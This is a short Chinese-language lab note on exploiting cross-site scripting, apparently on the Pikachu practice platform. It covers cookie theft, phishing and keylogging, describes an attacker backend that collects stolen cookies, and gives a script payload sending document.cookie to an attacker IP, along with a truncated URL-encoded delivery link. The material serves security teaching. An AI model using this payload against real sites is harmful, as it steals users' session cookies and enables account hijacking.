（五）XSS注入漏洞利用

一，XSS漏洞利用
XSS漏洞利用：cookie的窃取和利用（会话劫持）

XSS漏洞利用：钓鱼攻击

XSS漏洞利用：键盘记录
反射型（GET）XSS利用：cookie获取





攻击者后台


作用：存放收集到的cookie信息

操作存储cookie的文件:cookie.php
( 注意: 修改重定向网页地址)






显示cookie信息的文件
pkxss_cookie_result.php



1、构造js语句  
<script>document.location='http://192.168.2.242:8000/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

2、URL编码后的超链接
http://192.168.3.46/pikachu/vul/ ... ocument.location%3D